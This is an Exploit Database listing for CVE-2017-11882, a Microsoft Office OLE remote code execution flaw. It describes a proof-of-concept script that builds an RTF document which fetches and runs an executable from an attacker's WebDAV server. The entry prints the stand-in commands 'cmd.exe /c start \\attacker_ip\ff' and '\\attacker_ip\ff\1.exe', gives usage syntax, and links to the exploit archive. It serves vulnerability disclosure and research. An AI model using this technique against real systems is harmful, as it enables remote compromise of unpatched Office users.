Microsoft Office – OLE Remote Code Execution

• Exploit Database
• 22 阅读

• 作者： embedi
  日期： 2017-11-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43163/

• Source: https://github.com/embedi/CVE-2017-11882
  
  CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
  
  MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
  
  Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
  
  Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
  
  DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
  
  webdav_exec CVE-2017-11882
  
  A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.
  
  The first command which triggers WebClient service start may look like this:
  
  cmd.exe /c start \\attacker_ip\ff
  Attacker controlled binary path should be a UNC network path:
  
  \\attacker_ip\ff\1.exe
  Usage
  
  webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
  Sample exploit for CVE-2017-11882 (starting calc.exe as payload)
  
  example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43163.zip